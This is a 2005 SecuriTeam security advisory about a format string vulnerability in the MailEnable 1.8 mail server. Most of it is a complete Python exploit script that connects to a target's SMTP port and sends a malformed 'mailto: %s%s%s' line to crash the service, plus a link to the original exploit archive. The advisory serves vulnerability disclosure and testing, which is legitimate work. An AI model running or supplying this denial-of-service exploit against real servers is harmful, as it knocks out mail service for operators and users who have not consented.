[EXPL] MailEnable Format String Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 03/22/05

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Date: 22 Mar 2005 09:55:17 +0200

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      MailEnable Format String Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mailenable.com/> MailEnable's "mail server software provides
    a powerful, scalable hosted messaging platform for Microsoft Windows".

    MailEnable contains a format string vulnerability in the it handles SMTP
    mailto: requests, the following exploit code can be used to test your
    system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * MailEnable version 1.8

    Exploit:
    #################################
    # #
    # See-security Technologies ltd. #
    # #
    # http://www.see-security.com #
    # #
    #################################
    # #
    # MailEnable 1.8 Format String DoS exploit #
    # #
    # Discovered by Mati Aharoni #
    # #
    # Coded by tal zeltzer #
    # #
    #################################

    import sys
    import time
    import socket

    def PrintLogo():
     print "#################################"
     print "# #"
     print "# See-security Technologies ltd. #"
     print "# #"
     print "# http://www.see-security.com #"
     print "# #"
     print "#################################"
     print "#"+" "*64+"#"
     print "# MailEnable 1.8 Format String DoS exploit #"
     print "#"+" "*64+"#"
     print "# Discovered by Mati Aharoni #"
     print "# #"
     print "# Coded by tal zeltzer #"
     print "#"+" "*64+"#"
     print "#"*66+"\n"

    PrintLogo()
    if (len(sys.argv) != 2):
     print "\n\n"
     print sys.argv[0] + " [Target Host]"
     sys.exit()
    sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print "[-] Connecting to " + sys.argv[1]
    sSmtpSocket.connect((sys.argv[1],25))
    print "[-] Connected to " + sys.argv[1]
    print "[-] Sending malformed packet"
    sSmtpSocket.send("mailto: %s%s%s\r\n")
    sSmtpSocket.close()
    print "[-] Malformed packet sent"

    EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:tal@see-security.com> a a .
    The original exploit can be found:
    <http://www.hackingdefined.com/exploits/mailenable.tar.gz>
    http://www.hackingdefined.com/exploits/mailenable.tar.gz

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